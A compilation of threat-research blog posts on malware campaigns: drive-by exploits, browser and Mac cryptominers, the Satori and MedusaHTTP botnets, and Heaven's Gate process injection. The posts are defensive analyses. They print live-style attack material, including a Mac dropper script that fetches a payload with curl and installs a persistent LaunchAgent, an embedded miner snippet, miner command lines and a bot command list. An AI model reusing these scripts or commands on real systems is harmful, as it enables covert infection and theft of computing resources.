Drive-by download campaign targets Chinese websites, experiments with exploits

During our web crawls we sometimes come across bizarre findings or patterns we haven’t seen before. This was the case with a particular drive-by download attack planted on Chinese websites. While by no means advanced (it turned out to be fairly buggy), we witnessed a threat actor experimenting with several different exploits to drop malware.

For years we have cataloged thousands of Chinese websites injected with the same malicious and rudimentary VBScript code. Even to this day, you can find a countless number of sites that have been (or still are) compromised with that pattern, and most of them happen to be hosted in China.

The campaign we stumbled upon starts with sites that were compromised to load external content via scripts and iframe overlays. Although the browser’s address bar shows gusto-delivery[.]com, there are several injected layers that expose visitors to unwanted code and malware.

For instance, we find a reference to a Coinhive clone:

var miner = new ProjectPoi.User('LUdKfdXyeXp9sQZf1pphGOrY', 'john-doe', {
 threads: navigator.hardwareConcurrency,
 autoThreads: false,
 throttle: 0.2,
 forceASMJS: false

We are unsure whether this is a pure ripoff (the website template is almost identical), but one is different from the other in that the Chinese version (hosted at ppoi[.]org) only takes a 10 percent commission as opposed to 30 percent for Coinhive.


I.e. you get 90% of the average XMR we earn. Unlike a traditional mining pool, this
rate is fixed, regardless of actual blocks found and the luck involved finding them. 
We keep 10% for us to operate this service and to (hopefully) turn a profit.

Finally, the most interesting aspect here is the redirection to a server hosting a few exploits as described in the diagram below:

On top of a late addition of the aforementioned VBScript similar to the ones found on other Chinese websites, we notice the inclusion of 3 exploits targeting older vulnerabilities in an ActiveX component, the Flash Player and Internet Explorer.


This old CVE is a vulnerability with the C6 Messenger ActiveX control. The threat actor reused the same code already published here and simply altered the DownloadUrl to point to their malicious binary. Users (unless their browser settings have been changed) will be presented with a prompt asking them to install this piece of malware.


This is a Flash Player vulnerability affecting Flash up to version, which was again lifted from a proof of concept. Its implementation in this particular drive-by is somewhat unstable though and may cause the browser to crash.


Finally a more interesting CVE, the well-known Internet Explorer God Mode, although for some unexplained reason, the code was commented out.

The final payload dropped in this campaign is a DDoS bot, which we will cover in another blog post.


Although we see the use of several exploits, we cannot call this an exploit kit—not even an amateur one. Indeed, the domain serving the exploits appears to be static and the URIs are always the same.

Regardless, it does not prevent threat actors from arranging drive-by attacks by copying and pasting various pieces of code they can find here and there. While not very effective, they may still be able to compromise some legacy systems or machines that have not been patched.

Indicators of compromise

Malicious redirection


Exploit domain and IP







The post Drive-by download campaign targets Chinese websites, experiments with exploits appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Drive-by cryptomining campaign targets millions of Android users

Malvertising and online fraud through forced redirects and Trojanized apps—to cite the two most common examples—are increasingly plaguing Android users. In many cases, this is made worse by the fact that people often don’t use web filtering or security applications on their mobile devices.

A particular group is seizing this opportunity to deliver one of the most lucrative payloads at the moment: drive-by cryptomining for the Monero (XMR) currency. In a campaign we first observed in late January, but which appears to have started at least around November 2017, millions of mobile users (we believe Android devices are targeted) have been redirected to a specifically designed page performing in-browser cryptomining.

In our previous research on drive-by mining, we defined this technique as automated, without user consent, and mostly silent (apart from the noise coming out of the victim’s computer fan when their CPU is clocked at 100 percent). Here, however, visitors are presented with a CAPTCHA to solve in order to prove that they aren’t bots, but rather real humans.

“Your device is showing suspicious surfing behaviour. Please prove that you are human by solving the captcha.”

Until the code (w3FaSO5R) is entered and you press the Continue button, your phone or tablet will be mining Monero at full speed, maxing out the device’s processor.

Redirection mechanism

The discovery came while we were investigating a separate malware campaign dubbed EITest in late January. We were testing various malvertising chains that often lead to tech support scams with an Internet Explorer or Chrome user-agent on Windows. However, when we switched to an Android, we were redirected via a series of hops to that cryptomining page.

It seems odd that a static code (which is also hardcoded in the page’s source) would efficiently validate traffic between human and bot. Similarly, upon clicking the Continue button, users are redirected to the Google home page, another odd choice for having proved you were not a robot.

While Android users may be redirected from regular browsing, we believe that infected apps containing ad modules are loading similar chains leading to this cryptomining page. This is unfortunately common in the Android ecosystem, especially with so-called “free” apps.

It’s possible that this particular campaign is going after low quality traffic—but not necessarily bots —and rather than serving typical ads that might be wasted, they chose to make a profit using a browser-based Monero miner.

We identified several identical domains all using the same CAPTCHA code, and yet having different Coinhive site keys (see our indicators of compromise for the full details). The first one was registered in late November 2017, and new domains have been created since then, always with the same template.

Domain name, registration date

Traffic stats

We believe there are several more domains than just the few that we caught, but even this small subset is enough to give us an idea of the scope behind this campaign. We shared two of the most active sites with ad fraud researcher Dr. Augustine Fou, who ran some stats via the SimilarWeb web analytics service. This confirmed our suspicions that the majority of traffic came via mobile and spiked in January.

We estimate that the traffic combined from the five domains we identified so far equals to about 800,000 visits per day, with an average time of four minutes spent on the mining page. To find out the number of hashes that would be produced, we could take a conservative hash rate of 10 h/s based on a benchmark of ARM processors.

It is difficult to determine how much Monero currency this operation is currently yielding without knowing how many other domains (and therefore total traffic) are out there. Because of the low hash rate and the limited time spent mining, we estimate this scheme is probably only netting a few thousand dollars each month. However, as cryptocurrencies continue to gain value, this amount could easily be multiplied a few times over.


The threat landscape has changed dramatically over the past few months, with many actors jumping on the cryptocurrency bandwagon. Malware-based miners, as well as their web-based counterparts, are booming and offering online criminals new revenue sources.

Forced cryptomining is now also affecting mobile phones and tablets en masse—not only via Trojanized apps, but also via redirects and pop-unders. We strongly advise users to run the same security tools they have on their PC on their mobile devices, because unwanted cryptomining is not only a nuisance but can also cause permanent damage.

Malwarebytes mobile users are protected against this threat.

Indicators of compromise



Referring websites (please note that they should not be necessarily considered malicious):


Conhive site keys:


The post Drive-by cryptomining campaign targets millions of Android users appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

New Mac cryptominer distributed via a MacUpdate hack

Early this morning, security researcher Arnaud Abbati of SentinelOne tweeted about new Mac malware being distributed via MacUpdate. This malware, which Abbati has named OSX.CreativeUpdate, is a new cryptocurrency miner, designed to sit in the background and use your computer’s CPU to mine the Monero currency.

The malware was spread via hack of the MacUpdate site, which was distributing maliciously-modified copies of the Firefox, OnyX, and Deeper applications. According to a statement posted in the comments for each of the affected apps on the MacUpdate website, this happened sometime on February 1.

Both OnyX and Deeper are products made by Titanium Software (, but the site was changed maliciously to point to download URLs at, a domain first registered on January 23, and whose ownership is obscured. The fake Firefox app was distributed from (Notice the domain ends in, which is definitely not the same as This is a common scammer trick to make you think it’s coming from a legitimate site.)

The downloaded files are .dmg (disk image) files, and they look pretty convincing. In each case, the user is asked to drag the app into the Applications folder, as would the original, non-malicious .dmg files for those apps.

The applications themselves were, as Abbati indicated in his tweet, created by Platypus, a developer tool that makes full macOS applications from a variety of scripts, such as shell or Python scripts. This means the creation of these applications had a low bar for entry.

Once the application has been installed, when the user opens it, it will download and install the payload from (a legitimate site owned by Adobe). Then, it attempts to open a copy of the original app (referred to as a decoy app, because it is used to trick the user into thinking nothing’s wrong), which is included inside the malicious app.

However, this isn’t always successful. For example, the malicious OnyX app will run on Mac OS X 10.7 and up, but the decoy OnyX app requires macOS 10.13. This means that on any system between 10.7 and 10.12, the malware will run, but the decoy app won’t open to cover up the fact that something malicious is going on. In the case of the Deeper app, the hackers got even sloppier, including an OnyX app instead of a Deeper app as the decoy by mistake, making it fail similarly but for a more laughable reason.

The “script” file inside the app takes care of opening the decoy app, and then downloading and installing the malware.

if [ -f ~/Library/mdworker/mdworker ]; then
killall Deeperd
nohup curl -o ~/Library/
 content_disposition=attachment && unzip -o ~/Library/ -d
 ~/Library && mkdir -p ~/Library/LaunchAgents && mv
 ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300
 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf
 ~/Library/ && killall Deeperd &

For those who can’t read shell scripts, this code first attempts to open the decoy, which will fail since the wrong decoy was included by mistake. Next, if the malware is already installed, the malicious dropper process is killed, since installation is not necessary.

If the malware is not installed, it will download the malware and unzip it into the user’s Library folder, which is hidden in macOS by default, so most users wouldn’t even know anything had been added there. It also installs a malicious launch agent file named MacOSupdate.plist, which recurrently runs another script.

 launchctl unload -w ~/Library/LaunchAgents/MacOS.plist && rm
   -rf ~/Library/LaunchAgents/MacOS.plist && curl -o
   content_disposition=attachment && launchctl load -w
   ~/Library/LaunchAgents/MacOS.plist &&

When this launch agent runs, it downloads a new MacOS.plist file and installs it. Before doing so, it will remove the previous MacOS.plist file, presumably so it can be updated with new code. The version of this MacOS.plist file that we obtained did the real work.

sh -c ~/Library/mdworker/sysmdworker -user -xmr

This loads a malicious sysmdworker process, passing in a couple arguments, one of which is an email address.

That sysmdworker process will then do the work of mining the Monero cryptocurrency, using a command-line tool called minergate-cli, and periodically connecting to, passing in the above email address as the login.

There are multiple takeaways from this. First and foremost, never download software from any kind of “download aggregation” site (a site that acts like an unofficial Mac App Store to let you browse for software). Such sites have a long history of issues. In the case of MacUpdate, back in 2015 they were modifying other people’s software, wrapping it in their own adware-laden installer. This is no longer happening, but in 2016, MacUpdate was similarly used to distribute the OSX.Eleanor malware.

Instead, always download software directly from the developer’s site or from the Mac App Store. These are not guarantees, and can still get you infected with malware, adware, or scam software. But your odds are better. Be sure to check around to make sure the software is legitimate before downloading, but do not give full credence to ratings or reviews on third-party sites or the Mac App Store, as those can be faked.

Second, if you have downloaded a new application and it seems not to be functioning as expected—such as not opening at all when you double-click it—be suspicious. Consider scanning your computer with security software. Malwarebytes for Mac will detect this malware as OSX.CreativeUpdater.

Finally, be aware that the old adage that “Macs don’t get viruses,” which has never been true, is proven to be increasingly false. This is the third piece of Mac malware so far this year, following OSX.MaMi and OSX.CrossRAT. That doesn’t even consider the wide variety of adware and junk software out there. Do not let yourself believe that Macs don’t get infected, as that will make you more vulnerable.

The post New Mac cryptominer distributed via a MacUpdate hack appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

The ARC of Satori

Satori, the heir-apparent to the infamous IOT malware Mirai, was discovered by researchers in December 2017. The word “satori” means “enlightenment” or “understanding” in Japanese, but the evolution of the Satori malware has brought anything but clarity. Each new version offers a fresh combination of targeted platforms, propagation techniques, and attack types. Contrasted with traditional software, in which features are added incrementally, Satori seems to go both forward and backward. Digging into the history will provide insight into this continually evolving threat.

A Short History of IOT Malware

Headlines about massive DDoS attacks first captured the public’s attention on IOT security in late 2016. The malware responsible, Mirai, didn’t target Windows machines like most threats – it targeted weaknesses in IOT devices and other embedded systems. These devices make great DDoS zombies, since often they run a stripped-down version of Linux, are directly connected to the Internet, and have limited security features.

Mirai, and its many copycats, operate with similar principles:

  • Propagation – Infected devices will attempt to infect other, randomly chosen, devices. Mirai started by using common username/password pairs via the antiquated telnet protocol. Later versions would use platform-specific vulnerabilities, like command-injection bugs in the web interface of home routers, to spread.
  • Command-and-control – Once infected, the bot – in addition to propagating – would periodically check-in to a command-and-control site for updates and attack commands.
  • Attack – Once instructed by the command-and-control, bots would launch a coordinated flood of attack traffic directed at the victim. This can be a flood of TCP packets with specific flags set, UDP packets, HTTP requests, or other more complicated attacks.

The authors of Mirai eventually published the source code to the malware. With it, anyone who knows how to use a compiler could setup their own command-and-control site and quickly build their own Mirai botnet. Those with more technical know-how could add features like new propagation methods, command-and-control protocols, and new attack types.


Researchers first discovered Satori in December 2017 and other versions of it have been identified since. The initially discovered version of Satori distinguished itself from Mirai in that its propagation method targeted two vulnerabilities in IOT devices – a “zero-day” in Huawei’s home gateway and a previously-known command execution vulnerability in Realtek’s UPNP SOAP interface. Both were clearly intended to target two very specific types of devices, unlike the more agnostic Mirai, which would infect any device with a default or easily guessable telnet username and password. Although there is evidence Satori re-used at least some of the public Mirai code, its precise targeting was what caught the eye of researchers.

To perhaps further muddy the waters, other versions of Satori do indeed use telnet to propagate, but with a more sophisticated list of usernames and passwords.

Every IOT malware including Satori is delivered to a victim in a compiled, ready-to-run format. That means a Linux executable compiled specifically for the architecture of the victim. For instance – an ARM device cannot run an executable compiled for x86 processors. Before delivering its payload, both Mirai and Satori poke and prod the victim to determine which pre-compiled version of the Mirai binary to download and execute. Satori raised the bar by introducing new architectures – superh and ARC. It’s unclear whether the actors behind Satori did this because they knew a vulnerable population existed, or only hoped that it did.

Below is a chart showing the similarities and differences, based on ASERT analysis, between the three most recent variants of Satori. Complementary information, including additional IoC’s, can be found in [1]-[5]. Variant 1 is not included due to its lack of functionality as discussed in [1].

We distinguish the fourth variant of Satori, in part, because it appears to be the first known ARC malware. Adding the capability to run on the ARC chip set greatly expands the potential botnet population. According to [6], an article that was written in 2014, “ARC processor IP cores have been licensed by more than 190 companies and are used in more than 1.5 billion products a year.” Furthermore, now that this new ground has been broken, it paves the way for other malware authors to target that architecture.

DDoS Mitigation

Since the variants of Satori all leverage different subsets of the Mirai DDoS attack codebase, longstanding Mirai-based DDoS mitigation advice still applies. See for example the ASERT Blog entitled Mirai IoT Botnet Description and DDoS Attack Mitigation [7]. Arbor customers can also obtain detailed Arbor product-specific mitigation advice by requesting the latest ASERT Mirai threat advisory from their account team or Arbor ATAC.

Additionally, the continued expansion of DDoS-capable malware to different processor architectures further emphasizes the need for network operators to adopt network BCPs. While Mirai showed an affinity for IPTV cameras and DVRs with weak passwords, threat actors are rewarded for targeting devices others have not. As malware authors expand to ARC and other embedded processors, DDoS-capable malware can subvert a wider range of Internet-connected devices such as phones, gaming consoles, etc. Network operators must re-think their defensive strategies to also protect against compromised internal devices including those which can’t be tracked down by following a cable. The collateral damage due to scanning and outbound DDoS attacks alone can be crippling if network architectural and operational best current practices (BCPs) are not proactively implemented. BCP references can be found at [8] and [9].


While the impact of IOT malware is self-evident, the threat landscape is constantly evolving. The weakest-of-the-weak, default usernames and passwords, have already been abused and attackers move on to more bountiful fruit – exploitable vulnerabilities in devices themselves. This reflects the harbinger that Mirai brought the world in 2016 – IOT devices are insecure and will be abused. We expect the three principles of IOT malware – propagation, command-and-control, and attacks – to remain the same, but become more sophisticated and evolved over time.



Go to Source
Author: ASERT team

A coin miner with a “Heaven’s Gate”

You might call the last two years the years of ransomware. Ransomware was, without a doubt, the most popular type of malware. But at the end of last year, we started observing that ransomware was losing its popularity to coin miners. It is very much possible that this trend will grow as 2018 progresses.

From the point of view of the victim, this is a huge relief, because miners are not as much of a threat as ransomware. They slow down the system, yes, but once you get rid of them you can continue using your computer as before. No data is stolen, or lost as in the case with a ransomware infection.

From the point of view of a malware researcher, miners are so far disappointing. They don’t give enough interesting material for a deeper analysis, mostly because they are based on well-known open source components with little or no obfuscation.

However, from time to time, we find coin miners incorporating interesting tricks. In one recent sample, we observed a technique called “Heaven’s Gate” that allows the malware to make injections to 64-bit processes from 32-bit loaders. This trick is not new—its introduction is dated to 2009—but it’s curious to see it implemented in this new sample captured in wild.

Those who are beginners in malware analysis can read on for a guide about what Heaven’s Gate is and how to approach analyzing it.

Analyzed samples

This sample was found in the continuation of the Ngay campaign (more about it here). A background check on similar samples lead me to the article of @_qaz_qaz, who described an earlier campaign with a similar sample. However, his analysis skipped details on the Heaven’s Gate technique.

Behavioral analysis

To observe the mentioned injection, we must run the sample on a 64-bit system. We can see that it runs an instance of notepad, with parameters typical for mining cryptocurrency:

Looking at the in-memory strings in ProcessExplorer, we can clearly see that it is not a real notepad running, but the xmrig miner:

So, at this moment we’re confident that the notepad’s image has been replaced in memory, most probably by the RunPE (Process Hollowing) technique.

The main dropper is 32-bit, but it injects a payload into a 64-bit notepad:

The fun part is that this type of injection is not supported by the official Windows API. We can read/write the memory of 32-bit processes from a 64-bit application (using Wow64 API), but not the other way around.

There are, however, some unofficial solutions to this, such as the technique called “Heaven’s Gate.”

Heaven’s Gate overview

The Heaven’s Gate technique was first described in 2009, by a hacker nicknamed Roy G. Biv. Later, many adaptations were created, such as a library Wow64ext  or, basing in it, W64oWoW64. In the blog post from 2015, Alex Ionescu described mitigations against this technique.

But let’s have a look at how it works.

Running 32-bit processes on 64-bit Windows

Every 32-bit process that runs on a 64-bit version of Windows runs in a special subsystem called WoW64 that emulates the 32-bit environment. We can explain it as a 32-bit sandbox that is created inside a 64-bit process. So, first the 64-bit environment for the process is created. Then, inside it, the 32-bit environment is created. The application is executed in this 32-bit environment and it has no access to the 64-bit part.

If we scan the 32-bit process from outside, via the 64-bit scanner, we can see that it has inside both 32 and 64 DLLs. Most importantly, it has two versions of NTDLL: 32-bit (loaded from a directory SysWow64) and 64-bit (loaded from a directory System32):

However, the 32-bit process itself can’t see the 64-bit part and is limited to using the 32-bit DLLs. To make an injection to a 64-bit process, we’d need to use the 64-bit versions of appropriate functions.

Code segments

In order to access the forbidden part of the environment, we need to understand how the isolation is made. It turns out that it’s quite simple. The 32- and 64-bit code execution is accessible via a different address of the code segment: 32-bit is 0x23 and 64-bit is 0x33.

If we call an address in a typical way, the mode that is used to interpret it is the one set by default. However, we can explicitly request to change it using assembler instructions.

Inside the miner: the Heaven’s Gate implementation

I will not do a full analysis of this miner because it has already been described here. Let’s jump directly to the place where the fun begins. The malware checks its environment, and if it finds that it’s running on a 64-bit system, it takes a different path to make an injection into a 64-bit process:

After some anti-analysis checks, it creates a new, suspended 64-bit process (in this case, it is a notepad):

This is the target into which the malicious payload is going to be injected.

As we discussed before, in order to inject the payload into a 64-bit process, we need to use the appropriate 64-bit functions.

First, the loader takes a handle to a 64-bit NTDLL:

What happens inside this function get_ntdll requires some deeper explanation. As a reference, we can also have a look at the analogical code in the ReWolf’s library.

To get access to the 64-bit part of the process environment, we need to manipulate the segments selectors. Let’s see how our malware enters the 64-bit mode:

This code seems to be directly copied from the open source library:

The segment selector 0x33 is pushed on the stack. Then, the malware calls the next line: (By this way, the next line’s address is also pushed on the stack.)

An address that was pushed is fixed by adding 5 bytes and set after the retf :

At the end, the instruction RETF is called. RETF is a “far return,” and in contrast to the casual RET, it allows to specify not only the address where the execution should return, but also the segment. It takes as arguments two DWORDs from the stack. So, when the RETF is hit, the actual return address is:


Thanks to the changed segment, the code that starts at the specified address is interpreted as 64-bit. So, the code that is visible under the debugger as 32-bit…

…is, in reality, 64-bit.

For the fast switching of those views, I used a feature of PE-bear:

And this is how this piece of code looks, if it is interpreted as 64-bit:

So, the code that is executed here is responsible for moving the content of the R12 register into a variable on the stack, and then switching back to the 32-bit mode. This is done for the purpose of getting 64bit TEB (Thread Environment Block), from which next we fetch the 64-bit Process Environment Block (PEB) —check the analogical code.

The 64-bit PEB is used as a starting point to search the 64-bit version of NTDLL. This part is implemented in a casual way (a “vanilla” implementation of this technique can be found here) using a pointer to the loaded libraries that is one of the fields in the PEB structure. So, from PEB we get a field called Ldr:

Ldr is a structure of the type _PEB_LDR_DATA. It contains an entry called InMemoryOrderModuleList:

This list contains all the loaded DLLs that are present in the memory of the examined process. We browse through this list until we find the DLL of our interest that, in this case, is NTDLL. This is exactly what the mentioned function get_ntdll does. In order to find the appropriate name, it calls the following function—denoted as is_ntdll_lib—that checks the name of the library character-by-character and compares it with ntdll.dll. It is an equivalent of this code.

If the name matches, the address to the library is returned in a pair of registers:

Once we found NTDLL, we just needed to fetch addresses of the appropriate functions. We did this by browsing the exports table of the DLL:

The following functions are being fetched:

  • NttUnmapViewOfSection
  • NtGetContextThread
  • NtAllocateVirtualMemory
  • NtReadVirtualMemory
  • NtWriteVirtualMemory
  • NtSetContextThread

As we know, those functions are typical for RunPE technique. First, the NtUnmapViewOfSection is used to unmap the original PE file. Then, memory in the remote process is allocated, and the new PE is written. At the end, the context of the process is changed to start the execution from the injected module.

The addresses of the functions are saved and later called (similarly to this code) to manipulate the remote process.


So far, authors of coin miners don’t show a lot of creativity. They achieve their goals by heavily relying on open-source components. The described case also shows this tendency – they made use of a ready made implementation.

The Heaven’s Gate technique has been around for several years. Some malware use it for the purpose of being stealthy. But in case of this coin miner, authors probably aimed rather to maximize performance by using a payload version that best fit the target architecture.

The post A coin miner with a “Heaven’s Gate” appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

RIG exploit kit campaign gets deep into crypto craze

There isn’t a day that goes by without a headline about yet another massive spike in Bitcoin valuation, or a story about someone mortgaging their house to purchase the hardware required to become a serious cryptocurrency miner.

If many folks are thinking about joining the ‘crypto craze’ movement, they may be surprised to learn that they already have. We’ve documented in-browser miners before on this blog, or what we call drive-by cryptomining, but drive-by download attacks such as those via the RIG exploit kit want a piece of the action, too. While the latter is not a new trend, we have noticed an increase in malware payloads from EKs that are coin miners, and we think this is going to be something to follow for 2018.


Today, we take a look at a prolific campaign that is focused on the distribution of coin miners via drive-by download attacks. We started to notice larger-than-usual payloads from the RIG exploit kit around November 2017, a trend that has continued more recently via a campaign dubbed Ngay.

What happened is that the initial dropper contained additional binaries that contributed to its oversized nature as depicted below. Droppers from this campaign have contained one or more coin miners consistently, for at least Monero and lesser known but still popular other currencies such as Bytecoin.

One payload leads to two different coin miners.

For the same attack, these two processes will mine for the well-known Monero and Electroneum cryptocurrencies. When both executables are running, the CPU usage on the victim’s computer is maxed at 100 percent.


The Ngay campaign, identified as such by Nao_Sec, is one of several malvertising chains that relies on the RIG exploit kit to distribute its payloads. Recently, we observed a more complex redirection chain involving bestadbid and various XML feeds upstream, eventually trickling down to the more familiar redirect to RIG.

Infection flow showing redirection to RIG EK, followed by coin miner payloads

iframe to RIG EK is inserted in Ngay’s template page

The dropped binary from RIG EK contains two other artifacts that each lead to a different coin miner and are launched in a rather unusual procedure. In the following sections, we will study their deployment mechanism.

Monero miner

Monero is one of the most well-known digital currencies that, contrary to Bitcoin, does not require special hardware and provides additional privacy benefits. Threat actors have jumped on it in via large-scale drive-by mining attacks, with the help of coin miner-purposed malware.

Here the Monero miner is downloaded after a convoluted process that also aims at registering it permanently as a running service. The extracted binary from the RIG EK payload (3yanvarya.exe) is an installer that drops several .NET modules:

.NET modules extracted from one of the two artifacts contained in RIG EK’s payload

starter.exe uses an exploit (Invoke-MS16-032) copied from this GitHub repository (It even re-uses the original license!) to elevate privileges:

Code snippet showing PowerShell code designed to elevate privileges

foxcon.exe contains two sub-modules inside: Hydra and Hand, which purport to protect and manage services:

Hydra and Hand: two modules in charge of miner services

services.exe is a service to download and manage the miner:

Miner is downloaded from a remote IP address

Finally, the Monero miner (series64.exe) is retrieved and can start the mining activity. The overall process can be summarized in the diagram below.

“C:WindowsTEMPseries64.exe” -o -u x -p x -k -B –max-cpu-usage=30 –safe

Overview of the Monero miner deployment

Electroneum miner

Electroneum, the “mobile friendly” digital currency, has only been recently introduced but became popular almost immediately. The Android app allows anyone to mine and manage their wallet, but miners running desktop platforms can also participate.

Malware authors are abusing it via a malicious coin miner binary that is dropped from dp.exe in yet another unusual redirection chain. Indeed, it involves the URL shortener to retrieve a fake PNG image containing instructions for the download and eventual launch of the miner itself.

“C:Users[username]AppDataRoamingbvhostbvhost.exe” -o -u etnkKc…

Overview of the Electroneum miner deployment


As cryptocurrencies become more and more popular, we can only expect to see an increase in malicious coin miners, driven by the prospect of financial gains and increased anonymity. As the mining process has become cross-platform and achievable using regular computers, this has opened new possibilities for threat actors. Indeed, they can put hundreds of thousands of compromised machines to work mining for the latest and hottest digital currency around.

For end users, the threat of a coin miner infection may seem less impactful than, say, a banking Trojan, but perhaps that is only true in the short term. Not only can existing malware download additional payloads over the course of time, but the illicit gains from cryptomining contribute to financing the criminal ecosystem, costing billions of dollars in losses.

This particular RIG EK campaign is noteworthy for its focus on cryptominers and the way it unconventionally and at times inefficiently loads them. We will keep monitoring the drive-by download landscape to report on any change in payloads from other threat actors.

Many thanks to @hasherezade for help studying the binaries.

Indicators of compromise

RIG EK dropper


Redirections to downloader script

Downloader script for Electroneum miner (fake PNG)


Electroneum miner (bvhost.exe)

Monero miner (series64.exe)

Additional miner loaders via RIG EK (SHA256, size in bytes, date found):


The post RIG exploit kit campaign gets deep into crypto craze appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

MedusaHTTP DDoS Slithers Back into the Spotlight

A view of medusaHTTP panel.

Executive Summary

MedusaHTTP is a HTTP-based DDoS botnet written in .NET, that surfaced in early 2017. MedusaHTTP is based off of MedusaIRC which leveraged IRC for its command and control communications instead of HTTP. MedusaIRC botnet has been advertised on various underground hacker marketplaces since 2015, while MedusaHTTP started appearing in 2017.

  • The alleged seller of MedusaIRC and MedusaHTTP, Stevenking(s) has advertised this botnet family on hacker marketplaces for many years.
  • MedusaHTTP has evolved from an IRC botnet to an HTTP botnet. The HTTP components appear to be reused code from the leaked Diamond Fox DDoS botnet.
  • MedusaHTTP was observed being distributed by the Rig Exploit Kit by an independent researcher.



MedusaHTTP was discovered after reading an independent researcher’s blog post describing malware distributed by recent Rig exploit kit campaigns. Screenshots of network traffic from one of the malware payloads within the post, caught our attention:

MedusaHTTP .stop-all command

MedusaHTTP .httpstrong command

The blog post initially identified the payload responsible for this traffic as AZORult; however, the commands in this traffic suggest DDoS functionality. AZORult is classified as an information stealing trojan which has the primary objective of capturing passwords, financial and personal information from the victim’s system. Samples of this family and campaign objectives are not known to contain DDoS functionality, so this could suggest a major update to the AZORult malware. ASERT obtained the sample linked in the blog post from VirusTotal, and after analysis we believe this file is not AZORult but rather a new version of the DDoS bot known as Medusa.


Enter Medusa – StevenKings’ DDoS botnet kit since 2015

This isn’t the first time ASERT has encountered the Medusa botnet, we  previously analyzed the IRC version of Medusa in 2016. In addition, we found references of Medusa being advertised on underground hacker marketplaces dating back to 2015. Advertisements were posted by a user under the name of StevenKings, a sample image of an advertisement is provided below:

MedusaIRC advertisement from 2015

As insinuated above, Stevenkings may not be a native English speaker. We believe he or she may be a native Russian speaker based on the origin of their most active forum. In this 2015 advertisement, Stevenkings is selling the IRC version of Medusa for $500 in bitcoin, a cryptocurrency often leveraged in underground marketplaces. Reading further shows descriptions of future commands that will be added to the bot such as, “.httpstrong” which was the string that sparked our attention from the above researcher’s blog post. The advertisement also links to images of the botnet’s throughput, first showing screenshots to prove DDoS rates of 30k requests-per-second:

MedusaIRC 30k Request Per Second Proof

And then, a screenshot of it generating 3k requests-per-second with only 3 bots.

MedusaIRC 3k Requests Per Second with 3 Bots

Higher requests-per-second per bot allows a botnet controller to use less bots for taking down targets. This would mean the botnet controller could infect less victims while still remaining operationally successful.


Medusa Now in HTTP

Our research shows Stevenkings advertising the HTTP version of the Medusa botnet on underground hacker marketplaces in early 2017. The advertisements for this version included images of the HTTP command and control panel which appears to use the code and images from Diamond Fox, another well-known DDoS botnet.

A view of the MedusaHTTP admin panel.

A view of the MedusaHTTP attack page.

A view of the Diamond Fox admin panel for comparison.

Multiple versions of Diamond Fox botnet have been leaked over the past few years which would make the code reuse feasible for the Medusa malware author. All other portions of the code, except for the HTTP-based command and control communications, remain very similar to the IRC version of the Medusa botnet.


Command and Control Communication

The latest version of MedusaHTTP uses a HTTP-based command and control (C2) communication method as opposed the IRC communication of its predecessor. The initial connection uses a POST request with a static user agent of Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 sent to the C2. In the POST request payload, the victim bot will send introspection information using a xyz form item. The format of the introspection information payload follows this format:

xyz=08:00:27:??:??:??|<OS Type>|Version

an example of this would be:

MedusaHTTP C2 Check-in

After the check-in command is sent, the C2 will either respond with a HTTP status code 200 as seen below:

MedusaHTTP C2 Status 200

or send back one of the following commands:

  • .icmp [host] [threads] [delay] [stoptime]
  • .httpseebix [] [page.php] [threads] [delay] [stoptime]
  • .httpoverload [] [page.php] [threads] [delay] [stoptime]
  • .httpstrong [] [page.php] [threads] [delay] [stoptime]
  • .httpactive [] [page.php] [threads] [delay] [stoptime]
  • .httpssl [] [page.php] [threads] [delay] [true/false] [stoptime]
  • .proxy [] [page.php] [webpagewithproxy] [threads] [delay] [stoptime]
  • .httppost [] [page.php] [postcontent] [threads] [delay] [stoptime]
  • .smartflood [GET] [] [page.php] [threads] [delay] [stoptime]
  • .smartflood [POST] [] [page.php] [postcontent] [threads] [delay] [stoptime]
  • .syn [host] [port] [sockets] [threads]
  • .udp [host] [port] [sockets] [threads] [packetsize]
  • .download [] [filename] [true/false]
  • .stop-[methodname]
  • .stop-all

After which the bot will either wait and check-in again at a later time or act on the specific command received.


Purported Capabilities

Stevenkings claims MedusaHTTP is capable of the following:

  • .httpssl is made for TLS and SSL websites. Using the TRUE option on httpssl will grab cookies.
  • .icmp is a layer 3 flood.
  • .httpseebix is ​​custom HTTP GET flood.
  • .httpstrong is a fast HTTP flood method.
  • .httpactive is a mix of TCP and layer 7.
  • .httpoverload can crash certain servers.
  • .httpproxy uses proxy servers to execute a DDoS.
  • .httppost is a POST flood.
  • .httpsmartflood bypasses all cookie protection unless its captcha.
  • .syn TCP flood which bypasses OVH.
  • .udp is basic UDP flood.


Observed Command Traffic

ASERT observed and was able to capture DDoS and command traffic from a portion of the purported attack types available to MedusaHTTP.


This command sends GET requests using 1 of 12 user agents randomly chosen from a predefined list, similar to the below example:

MedusaHTTP .httpseebix command traffic


This command appears to be similar to .httpseebix however this uses only one hardcoded user agent to perform http GET request.


This command appears to be the same as .httpseebix; Stevenkings claims it has the ability to crash certain servers.


This command is advertised as a mixture of TCP and Layer 7 Flooding that has the ability to take down servers. Below you can see the utilization of multiple GET requests with a TCP packet of “0000000” in between them, illustrating this technique.

MedusaHTTP .httpactive command traffic

.smartflood (GET)

This command is purported to bypass cookie protection by StevenKings. The POST version of this command takes an additional parameter ‘Payload’ which, in this example, is ‘hello=hello’.

MedusaHTTP .smartflood POST command traffic

There is also a GET version of this command which looks similar however does not include the POST data.

MedusaHTTP .smartflood GET command traffic


This command instructs the bot to download and run executables, which could be a bot update or additional malicious files. The method of downloading the executables is a simple HTTP GET request.


This command instructs the bot to stop all active attacks.



MedusaHTTP has evolved from its prior IRC version. Although there is a new command and control communication mechanism, a large amount of functionality overlap remains. Many of the DDoS traffic examples above are exactly the same profile of traffic generated by MedusaIRC and continue to be mitigated in the same way using situationally appropriate firewall ACLs and other countermeasures available in Arbor products including HTTP Authentication, Zombie Detection, and AIF Malware Family Blocking.




  • 2919a13b964c8b006f144e3c8cc6563740d3d242f44822c8c44dc0db38137ccb
